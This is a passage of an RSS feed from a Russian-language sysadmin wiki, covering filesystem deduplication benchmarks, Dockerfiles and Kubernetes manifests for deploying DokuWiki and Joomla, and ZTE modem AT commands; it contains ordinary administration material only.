sdfscli --volume-info
Files : 3578
Volume Capacity : 50 GB
Volume Current Logical Size : 46.84 GB
Volume Max Percentage Full : 95.0%
Volume Duplicate Data Written : 8.76 GB
Unique Blocks Stored: 38.3 GB
Unique Blocks Stored after Compression : 38.4 GB
Cluster Block Copies : 2
Volume Virtual Dedup Rate (Unique Blocks Stored/Current Size) : 18.22%
Volume Actual Storage Savings (Compressed Unique Blocks Stored/Current Size) : 18.02%
Compression Rate: -0.25%&lt;/pre&gt;

&lt;p&gt;
Производительность:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dd if=/dev/zero of=/mnt/TEST.ZERO bs=16384
401942+0 records in
401942+0 records out
6585417728 bytes (6.6 GB, 6.1 GiB) copied, 41.545 s, 159 MB/s



Tasks: 581 total,   2 running, 579 sleeping,   0 stopped,   0 zombie
%Cpu(s): 44.8 us, 35.8 sy,  0.0 ni, 18.9 id,  0.2 wa,  0.0 hi,  0.0 si,  0.3 st
KiB Mem :  4037716 total,   119480 free,  2389112 used,  1529124 buff/cache
KiB Swap:  1171452 total,  1157324 free,    14128 used.  1533060 avail Mem 

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                                                                                      
 3024 root      20   0 4008900 1.273g 320148 S 143.2 33.1  18:12.32 jsvc                                                                                                                                                         
 5337 root      20   0    7332    704    632 R  14.9  0.0   0:03.98 dd                                                                                                                                                           
 5345 user      20   0   42348   4052   2996 R   1.0  0.1   0:00.16 top &lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;BTRFS + SDFS - no compression&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;btrfs_sdfs_-_no_compression&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:10,&amp;quot;secid&amp;quot;:11,&amp;quot;range&amp;quot;:&amp;quot;9815-11856&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit12&quot; id=&quot;windows_2012r2_ntfs_deduplication&quot;&gt;Windows 2012R2 + NTFS + deduplication&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В то же время с тем же набором данных на NTFS:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;PS C:\Windows\system32&amp;gt; Get-DedupStatus F: | fl


Volume                             : F:
VolumeId                           : \\?\Volume{69c27e73-82e4-4962-bce6-d83d0b7e0616}\
Capacity                           : 49.87 GB
FreeSpace                          : 10.8 GB
UsedSpace                          : 39.07 GB
UnoptimizedSize                    : 48.35 GB
SavedSpace                         : 9.28 GB
SavingsRate                        : 19 %
OptimizedFilesCount                : 1967
OptimizedFilesSize                 : 47.69 GB
OptimizedFilesSavingsRate          : 19 %
InPolicyFilesCount                 : 1967
InPolicyFilesSize                  : 47.69 GB
LastOptimizationTime               : 4/21/2017 10:45:09 AM
LastOptimizationResult             : 0x00000000
LastOptimizationResultMessage      : The operation completed successfully.
LastGarbageCollectionTime          : 4/20/2017 4:44:56 PM
LastGarbageCollectionResult        : 0x00565302
LastGarbageCollectionResultMessage : There are no actions associated with this job.
LastScrubbingTime                  :
LastScrubbingResult                :
LastScrubbingResultMessage         :&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Windows 2012R2 + NTFS + deduplication&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;windows_2012r2_ntfs_deduplication&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:12,&amp;quot;secid&amp;quot;:12,&amp;quot;range&amp;quot;:&amp;quot;11857-13150&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit13&quot; id=&quot;windows_2012r2_ntfs_compression_deduplication&quot;&gt;Windows 2012R2 + NTFS + compression + deduplication&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
А вот результат, если применить к тому компрессию NTFS, а затем дедуплицировать данные:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;PS C:\Windows\system32&amp;gt; Get-DedupStatus F: | fl


Volume                             : F:
VolumeId                           : \\?\Volume{69c27e73-82e4-4962-bce6-d83d0b7e0616}\
Capacity                           : 49.87 GB
FreeSpace                          : 11.7 GB
UsedSpace                          : 38.18 GB
UnoptimizedSize                    : 47.45 GB
SavedSpace                         : 9.28 GB
SavingsRate                        : 19 %
OptimizedFilesCount                : 1963
OptimizedFilesSize                 : 46.82 GB
OptimizedFilesSavingsRate          : 19 %
InPolicyFilesCount                 : 1963
InPolicyFilesSize                  : 46.82 GB
LastOptimizationTime               : 4/25/2017 9:26:35 AM
LastOptimizationResult             : 0x00000000
LastOptimizationResultMessage      : The operation completed successfully.&lt;/pre&gt;

&lt;p&gt;
Эффективность немного выше, чем без компрессии.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Windows 2012R2 + NTFS + compression + deduplication&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;windows_2012r2_ntfs_compression_deduplication&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:13,&amp;quot;secid&amp;quot;:13,&amp;quot;range&amp;quot;:&amp;quot;13151-14322&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit14&quot; id=&quot;выводы&quot;&gt;Выводы&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Эффективность дедупликации &lt;strong&gt;Windows 2012R2&lt;/strong&gt; существенно превышает эффективность дедупликации &lt;strong&gt;ZFS&lt;/strong&gt; и &lt;strong&gt;BTRFS&lt;/strong&gt;. На одинаковом наборе данных дедупликация &lt;strong&gt;Windows 2012R2&lt;/strong&gt; сохраняет больше места, чем &lt;strong&gt;ZFS&lt;/strong&gt; и &lt;strong&gt;BTRFS&lt;/strong&gt;, которые показывают примерно одинаковую эффективность дедупликации. &lt;br/&gt;

Конкурировать с дедупликацией &lt;strong&gt;Windows&lt;/strong&gt; может только &lt;strong&gt;SDFS&lt;/strong&gt; - &lt;a href=&quot;http://www.opendedup.org&quot; class=&quot;urlextern&quot; title=&quot;http://www.opendedup.org&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.opendedup.org&lt;/a&gt;. Значительно (по сравнениею с &lt;strong&gt;Windows 2012R2&lt;/strong&gt;) сэкономить место позволила конфигурация в которой контейнер &lt;strong&gt;SDFS&lt;/strong&gt; размещен на томе &lt;strong&gt;BTRFS&lt;/strong&gt;. В &lt;strong&gt;Windows 2012R2&lt;/strong&gt; после размещения файлов осталось свободно около &lt;strong&gt;11Gb&lt;/strong&gt;, на томе &lt;strong&gt;BTRFS&lt;/strong&gt; с контейнером &lt;strong&gt;SDFS&lt;/strong&gt; осталось свободно около &lt;strong&gt;13Gb&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Важно отметить, что &lt;strong&gt;Windows&lt;/strong&gt; и &lt;strong&gt;BTRFS&lt;/strong&gt; выполняют дедупликацию уже размещенных данных по расписанию, а &lt;strong&gt;ZFS&lt;/strong&gt; и &lt;strong&gt;SDFS&lt;/strong&gt; дедуплицирует данные в момент записи данных &lt;strong&gt;in-line&lt;/strong&gt;. При этом, для нормальной работы дедупликации на &lt;strong&gt;ZFS&lt;/strong&gt; система должна иметь много памяти. По разным оценкам - от &lt;strong&gt;2Gb&lt;/strong&gt; до &lt;strong&gt;5Gb RAM&lt;/strong&gt; на &lt;strong&gt;1Tb&lt;/strong&gt; данных - &lt;a href=&quot;https://wiki.freebsd.org/ZFSTuningGuide&quot; class=&quot;urlextern&quot; title=&quot;https://wiki.freebsd.org/ZFSTuningGuide&quot; rel=&quot;ugc nofollow&quot;&gt;https://wiki.freebsd.org/ZFSTuningGuide&lt;/a&gt;. &lt;strong&gt;SDFS&lt;/strong&gt; расходует память значительно экономичнее. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Даже на плохосжимаемых данных компрессия &lt;strong&gt;ZFS&lt;/strong&gt; дает больший выигрыш, чем дедупликация, а уменьшение &lt;strong&gt;recordsize&lt;/strong&gt; выигрыша в свободном пространстве не дает, но снижает производительность. 
&lt;/p&gt;

&lt;p&gt;
В результате лидером по количеству сэкономленного места, по моим наблюдениям, стала связка &lt;strong&gt;BTRFS compress-force=zlib + SDFS&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u044b\u0432\u043e\u0434\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u044b\u0432\u043e\u0434\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:14,&amp;quot;secid&amp;quot;:14,&amp;quot;range&amp;quot;:&amp;quot;14323-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 13 Mar 2019 08:14:19 +0000</pubDate>
        </item>
        <item>
            <title>deploy_dokuwiki_in_kubernetes</title>
            <link>https://wiki.autosys.tk/linux_faq/deploy_dokuwiki_in_kubernetes</link>
            <description>
&lt;p&gt;
Todo:
&lt;/p&gt;
&lt;ol&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 change sendmail path in php.ini
&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;


&lt;h1 class=&quot;sectionedit1&quot; id=&quot;dockerfile&quot;&gt;Dockerfile&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Dockerfile&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;dockerfile&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;43-67&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;вариант_с_postfix&quot;&gt;Вариант с postfix&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Недостаток - жирный сервис постфикса нужно запускать в контейнере.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;FROM php:fpm
RUN echo &amp;quot;postfix postfix/main_mailer_type string &amp;#039;Satellite system&amp;#039;&amp;quot; | debconf-set-selections \
    &amp;amp;&amp;amp; echo &amp;quot;postfix postfix/mailname string autosys.tk&amp;quot; | debconf-set-selections \
    &amp;amp;&amp;amp; DEBIAN_FRONTEND=noninteractive apt-get update &amp;amp;&amp;amp; apt-get install -y \
    postfix \
    libfreetype6-dev \
    libjpeg62-turbo-dev \
    libpng-dev \
    libicu-dev \
    libldap2-dev \
    libxml2-dev \
    libxslt1-dev \
    libwebp-dev \
    libxpm-dev \
 &amp;amp;&amp;amp; CFLAGS=&amp;quot;-I/usr/src/php&amp;quot; docker-php-ext-configure gd --with-gd --with-webp-dir --with-jpeg-dir \
    --with-png-dir --with-zlib-dir --with-xpm-dir --with-freetype-dir \
 &amp;amp;&amp;amp; CFLAGS=&amp;quot;-I/usr/src/php&amp;quot; docker-php-ext-install -j$(nproc) pcntl exif gd \
    calendar gettext intl ldap shmop sockets sysvmsg \
    sysvsem sysvshm tokenizer xml xmlreader xmlwriter xsl \
 &amp;amp;&amp;amp; apt-get clean \
 &amp;amp;&amp;amp; rm -Rf /var/www/* \
 &amp;amp;&amp;amp; chown -R www-data:www-data /var/www \
 &amp;amp;&amp;amp; postconf -e &amp;quot;smtp_generic_maps = hash:/etc/postfix/generic&amp;quot; \
 &amp;amp;&amp;amp; postconf -e &amp;quot;relayhost = mail.autosys.tk&amp;quot; \ 
 &amp;amp;&amp;amp; postconf -e &amp;quot;mydestination = localhost&amp;quot; \
 &amp;amp;&amp;amp; echo &amp;#039;www-data mike@autosys.tk&amp;#039; &amp;gt;&amp;gt; /etc/postfix/generic \
 &amp;amp;&amp;amp; echo &amp;#039;root mike@autosys.tk&amp;#039; &amp;gt;&amp;gt; /etc/postfix/generic \
 &amp;amp;&amp;amp; postmap /etc/postfix/generic \
 &amp;amp;&amp;amp; echo &amp;quot;root: mike@autosys.tk&amp;quot; &amp;gt;&amp;gt; /etc/aliases \
 &amp;amp;&amp;amp; echo &amp;quot;www-data: mike@autosys.tk&amp;quot; &amp;gt;&amp;gt; /etc/aliases \
 &amp;amp;&amp;amp; newaliases \
 &amp;amp;&amp;amp; mkfifo /var/spool/postfix/public/pickup \
 &amp;amp;&amp;amp; sed -i &amp;#039;/sendmail_path/ s/=.*$/= &amp;quot;\/usr\/sbin\/sendmail -t -i&amp;quot;/&amp;#039; /usr/local/etc/php/php.ini-production \
 &amp;amp;&amp;amp; sed -i &amp;#039;/sendmail_path/ s/^.*;//&amp;#039; /usr/local/etc/php/php.ini-production \
 &amp;amp;&amp;amp; mv /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini \
 &amp;amp;&amp;amp; sed -i &amp;#039;/exec/ s/^/service postfix start \&amp;amp; /&amp;#039; /usr/local/bin/docker-php-entrypoint&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u0430\u0440\u0438\u0430\u043d\u0442 \u0441 postfix&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u0430\u0440\u0438\u0430\u043d\u0442_\u0441_postfix&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;68-1987&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;вариант_с_nullmailer&quot;&gt;Вариант с nullmailer&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;http://www.panticz.de/install-nullmailer&quot; class=&quot;urlextern&quot; title=&quot;http://www.panticz.de/install-nullmailer&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.panticz.de/install-nullmailer&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;FROM php:fpm
RUN echo &amp;quot;nullmailer shared/mailname string wiki.autosys.tk&amp;quot; | debconf-set-selections \
    &amp;amp;&amp;amp; echo &amp;quot;nullmailer nullmailer/relayhost string mail.autosys.tk smtp&amp;quot; | debconf-set-selections \
    &amp;amp;&amp;amp; echo &amp;quot;nullmailer nullmailer/adminaddr string mike@autosys.tk&amp;quot; | debconf-set-selections \
    &amp;amp;&amp;amp; echo &amp;quot;nullmailer nullmailer/defaultdomain string autosys.tk&amp;quot; | debconf-set-selections \
    &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp; DEBIAN_FRONTEND=noninteractive apt-get install -y \
    nullmailer \
    libfreetype6-dev \
    libjpeg62-turbo-dev \
    libpng-dev \
    libicu-dev \
    libldap2-dev \
    libxml2-dev \
    libxslt1-dev \
    libwebp-dev \
    libxpm-dev \
 &amp;amp;&amp;amp; CFLAGS=&amp;quot;-I/usr/src/php&amp;quot; docker-php-ext-configure gd --with-gd --with-webp-dir --with-jpeg-dir \
    --with-png-dir --with-zlib-dir --with-xpm-dir --with-freetype-dir \
 &amp;amp;&amp;amp; CFLAGS=&amp;quot;-I/usr/src/php&amp;quot; docker-php-ext-install -j$(nproc) pcntl exif gd \
    calendar gettext intl ldap shmop sockets sysvmsg \
    sysvsem sysvshm tokenizer xml xmlreader xmlwriter xsl \
 &amp;amp;&amp;amp; apt-get clean \
 &amp;amp;&amp;amp; rm -Rf /var/www/* \
 &amp;amp;&amp;amp; chown -R www-data:www-data /var/www \
 &amp;amp;&amp;amp; sed -i &amp;#039;/sendmail_path/ s/=.*$/= &amp;quot;\/usr\/sbin\/sendmail -f mike@autosys.tk -t -i&amp;quot;/&amp;#039; /usr/local/etc/php/php.ini-production \
 &amp;amp;&amp;amp; sed -i &amp;#039;/sendmail_path/ s/^.*;//&amp;#039; /usr/local/etc/php/php.ini-production \
 &amp;amp;&amp;amp; mv /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini \
 &amp;amp;&amp;amp; sed -i &amp;#039;/exec/ s/^/service nullmailer start \&amp;amp; /&amp;#039; /usr/local/bin/docker-php-entrypoint&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u0430\u0440\u0438\u0430\u043d\u0442 \u0441 nullmailer&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u0430\u0440\u0438\u0430\u043d\u0442_\u0441_nullmailer&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1988-3567&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;собираем_и_пушим_образ&quot;&gt;Собираем и пушим образ&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;docker build -t registry.autosys.tk/dokuwiki-php .
docker login -u _reg_user_ -p __superpassword__ registry.domain.com
#docker tag dokuwiki-php registry.autosys.tk/dokuwiki-php
docker push registry.autosys.tk/dokuwiki-php&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0431\u0438\u0440\u0430\u0435\u043c \u0438 \u043f\u0443\u0448\u0438\u043c \u043e\u0431\u0440\u0430\u0437&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u043c_\u0438_\u043f\u0443\u0448\u0438\u043c_\u043e\u0431\u0440\u0430\u0437&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;3568-3852&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;создаем_объекты_в_kubernetes&quot;&gt;Создаем объекты в kubernetes&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;kind: Namespace
apiVersion: v1
metadata:
  name: wiki
  labels:
    name: wiki
---
apiVersion: v1
data:
  .dockerconfigjson: ewoJ....
kind: Secret
metadata:
  name: autosys-regcred
  namespace: wiki
type: kubernetes.io/dockerconfigjson
---
apiVersion: apps/v1
kind: Deployment
metadata:    
  name: wiki
  namespace: wiki
spec:
  replicas: 1
  selector:  
    matchLabels:
      app: wiki
  template:  
    metadata:
      labels:
        app: wiki
    spec:
      imagePullSecrets:
      - name: autosys-regcred
      containers:    
        - name: wiki-php-fpm
          image: registry.autosys.tk/dokuwiki-php
          volumeMounts:
            - name: doku-wiki-files
              mountPath: /var/www
        - name: wiki-nginx
          image: nginx
          volumeMounts:
            - name: doku-wiki-files
              mountPath: /var/www
            - name: nginx-config-volume
              mountPath: /etc/nginx/nginx.conf
              subPath: nginx.conf
      volumes:
        - name: doku-wiki-files
          persistentVolumeClaim:
            claimName: doku-wiki-files-pv-claim
        - name: nginx-config-volume
          configMap:
            name: nginx-config       
      
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: doku-wiki-files-pv-claim
  namespace: wiki
spec:
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 20Gi
  selector:
    matchLabels:
      app: wiki
---
apiVersion: v1
kind: PersistentVolume
metadata:
   name: doku-wiki-data-pv
   namespace: wiki
   labels:
     app: wiki
spec:
  capacity:
    storage: 20Gi
  accessModes:
  - ReadWriteOnce
  hostPath:
    path: &amp;quot;/kubernetes_volumes/wiki-data&amp;quot;
    type: Directory
  persistentVolumeReclaimPolicy: Retain
  claimRef: {}
---
kind: ConfigMap
apiVersion: v1
metadata:
  name: nginx-config
  namespace: wiki
data:
  nginx.conf: |
    user www-data;
    worker_processes 4;
    worker_rlimit_nofile 100000;
    
    events {
        worker_connections 4000;
        multi_accept on;
        use epoll;
    }
    http {
        ##
        # Basic Settings
        ##
        sendfile on;
        tcp_nopush on;
        tcp_nodelay on;
        types_hash_max_size 2048;
        server_tokens off;

        ##
        # Cache
        ##
        open_file_cache max=200000 inactive=20s;
        open_file_cache_valid 30s;
        open_file_cache_min_uses 2;
        open_file_cache_errors on; 

        include /etc/nginx/mime.types;
        default_type application/octet-stream;
        
        ##
        # Gzip Settings
        ##
        # reduce the data that needs to be sent over network -- for testing environment
        gzip on;
        # gzip_static on;
        gzip_min_length 10240;
        gzip_comp_level 9;
        gzip_vary on;
        gzip_disable msie6;
        gzip_proxied expired no-cache no-store private auth;
        gzip_types
                text/html
                text/css
                text/javascript
                text/xml
                text/plain
                text/x-component
                application/javascript
                application/x-javascript
                application/json
                application/xml
                application/rss+xml
                application/atom+xml
                font/truetype
                font/opentype
                application/vnd.ms-fontobject
                image/svg+xml;

        ##
        # Misc options
        ##

        # allow the server to close connection on non responding client, this will free up memory
        reset_timedout_connection on;

        # request timed out -- default 60
        client_body_timeout 10;

        # if client stop responding, free up memory -- default 60
        send_timeout 2;

        # server will close connection after this time -- default 75
        keepalive_timeout 30;

        # number of requests client can make over keep-alive -- for testing environment
        keepalive_requests 100000;

      server {
        listen 80 default_server;
        listen [::]:80 default_server;

        root /var/www;
        #server_name dokuwiki;
        autoindex off;
        client_max_body_size 15M;
        client_body_buffer_size 128k;
        index doku.php;   
        
        location ~ /(data|conf|bin|inc|vendor)/ {
          deny all;
        }
        
        location / {
          try_files $uri $uri/ @dokuwiki;
        }
 
        location ~ ^/lib.*\.(jpg|jpeg|png|gif|ico|css|js|svg)$ {
          expires 30d;
        }

        location = /robots.txt  { access_log off; log_not_found off; }
        location = /favicon.ico { access_log off; log_not_found off; }
        location ~ /\.          { access_log off; log_not_found off; deny all; }
        location ~ ~$           { access_log off; log_not_found off; deny all; }

        location @dokuwiki {
          rewrite ^/([\d\s\w]*)(\.)(.*)(\.ashx) /$1/$3 last;
          rewrite ^/_media/(.*) /lib/exe/fetch.php?media=$1 last;
          rewrite ^/_detail/(.*) /lib/exe/detail.php?media=$1 last;
          rewrite ^/_export/([^/]+)/(.*) /doku.php?do=export_$1&amp;amp;id=$2 last;
          rewrite ^/(.*) /doku.php?id=$1 last;
        }

        location ~ \.php$ {
            include /etc/nginx/fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME $document_root$fastcgi_script_name;
            try_files $uri =404;
            fastcgi_pass 127.0.0.1:9000;
            fastcgi_intercept_errors        on;
            fastcgi_ignore_client_abort     off;
            fastcgi_connect_timeout 60;
            fastcgi_send_timeout 180;
            fastcgi_read_timeout 180;
            fastcgi_buffer_size 128k;
            fastcgi_buffers 4 256k;
            fastcgi_busy_buffers_size 256k;
            fastcgi_temp_file_write_size 256k;
        }
      }
    }
---
apiVersion: v1
kind: Service
metadata:
  name: wiki-http
  namespace: wiki
spec:
  selector: 
    app: wiki
  type: ClusterIP
  ports:
  - name: http
    port: 80
    protocol: TCP
    targetPort: 80
---
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
  annotations:
    kubernetes.io/ingress.class: nginx
    cert-manager.io/cluster-issuer: letsencrypt
    nginx.ingress.kubernetes.io/proxy-body-size: &amp;quot;0&amp;quot;
    nginx.ingress.kubernetes.io/proxy-read-timeout: &amp;quot;3600&amp;quot;
    nginx.ingress.kubernetes.io/proxy-send-timeout: &amp;quot;3600&amp;quot;
  name: wiki-ingress
  namespace: wiki
spec:
  rules:
  - host: wiki.autosys.tk
    http:
      paths:
      - backend:
          serviceName: wiki-http
          servicePort: 80
        path: /
  tls:
  - hosts:
    - wiki.autosys.tk
    secretName:  wiki-autosys-tk-tls&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u044b \u0432 kubernetes&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0437\u0434\u0430\u0435\u043c_\u043e\u0431\u044a\u0435\u043a\u0442\u044b_\u0432_kubernetes&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;3853-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 30 Jan 2020 11:17:07 +0000</pubDate>
        </item>
        <item>
            <title>deploy_joomla_with_postgres_db_in_kubernetes</title>
            <link>https://wiki.autosys.tk/linux_faq/deploy_joomla_with_postgres_db_in_kubernetes</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;php-fpm_dockerfile&quot;&gt;php-fpm Dockerfile&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;FROM php:fpm
RUN echo &amp;quot;nullmailer shared/mailname string ruscourse.ru&amp;quot; | debconf-set-selections \
    &amp;amp;&amp;amp; echo &amp;quot;nullmailer nullmailer/relayhost string mail.autosys.tk smtp&amp;quot; | debconf-set-selections \
    &amp;amp;&amp;amp; echo &amp;quot;nullmailer nullmailer/adminaddr string mike@autosys.tk&amp;quot; | debconf-set-selections \
    &amp;amp;&amp;amp; echo &amp;quot;nullmailer nullmailer/defaultdomain string autosys.tk&amp;quot; | debconf-set-selections \
    &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp; DEBIAN_FRONTEND=noninteractive apt-get install -y \
    nullmailer \
    libfreetype6-dev \
    libjpeg62-turbo-dev \
    libpng-dev \
    libicu-dev \
    libldap2-dev \
    libxml2-dev \
    libxslt1-dev \
    libwebp-dev \
    libxpm-dev \ 
    libpq-dev \
 &amp;amp;&amp;amp; CFLAGS=&amp;quot;-I/usr/src/php&amp;quot; docker-php-ext-configure gd --with-gd --with-webp-dir --with-jpeg-dir \
    --with-png-dir --with-zlib-dir --with-xpm-dir --with-freetype-dir \
 &amp;amp;&amp;amp; CFLAGS=&amp;quot;-I/usr/src/php&amp;quot; docker-php-ext-install -j$(nproc) pcntl exif gd \
    calendar gettext intl ldap shmop sockets sysvmsg \
    sysvsem sysvshm tokenizer xml xmlreader xmlwriter xsl \
    pdo pdo_pgsql \
 &amp;amp;&amp;amp; apt-get clean \
 &amp;amp;&amp;amp; rm -Rf /var/www/* \
 &amp;amp;&amp;amp; chown -R www-data:www-data /var/www \
 &amp;amp;&amp;amp; sed -i &amp;#039;/sendmail_path/ s/=.*$/= &amp;quot;\/usr\/sbin\/sendmail -f mike@autosys.tk -t -i&amp;quot;/&amp;#039; /usr/local/etc/php/php.ini-production \
 &amp;amp;&amp;amp; sed -i &amp;#039;/sendmail_path/ s/^.*;//&amp;#039; /usr/local/etc/php/php.ini-production \
 &amp;amp;&amp;amp; mv /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini \
 &amp;amp;&amp;amp; sed -i &amp;#039;/exec/ s/^/service nullmailer start \&amp;amp; /&amp;#039; /usr/local/bin/docker-php-entrypoint&lt;/pre&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 26 Dec 2019 14:10:12 +0000</pubDate>
        </item>
        <item>
            <title>devops</title>
            <link>https://wiki.autosys.tk/linux_faq/devops</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;rancher&quot;&gt;Rancher&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://rancher.com&quot; class=&quot;urlextern&quot; title=&quot;https://rancher.com&quot; rel=&quot;ugc nofollow&quot;&gt; Rancher &lt;/a&gt; - это веб-интерфейс для &lt;strong&gt;kubernetes&lt;/strong&gt;. Раньше был самостоятельной системой орекстрации. &lt;br/&gt;

&lt;a href=&quot;https://habr.com/ru/post/418691/&quot; class=&quot;urlextern&quot; title=&quot;https://habr.com/ru/post/418691/&quot; rel=&quot;ugc nofollow&quot;&gt;https://habr.com/ru/post/418691/&lt;/a&gt; &lt;br/&gt;

EУстанавливается как контейнер &lt;strong&gt;Docker&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Sun, 25 Aug 2019 14:06:33 +0000</pubDate>
        </item>
        <item>
            <title>dial_with_zte_mf100</title>
            <link>https://wiki.autosys.tk/linux_faq/dial_with_zte_mf100</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/at_command_manual_for_zte_corporation_me3000_v2_module_v1.5.pdf&quot; class=&quot;media mediafile mf_pdf&quot; title=&quot;linux_faq:at_command_manual_for_zte_corporation_me3000_v2_module_v1.5.pdf (486.9 KB)&quot;&gt;at_command_manual_for_zte_corporation_me3000_v2_module_v1.5.pdf&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Регистрация в сети:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;AT+CREG=1&lt;/pre&gt;

&lt;p&gt;
Текущий статус регистрации в сети:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;AT+CREG?
+CREG: 1,1&lt;/pre&gt;

&lt;p&gt;
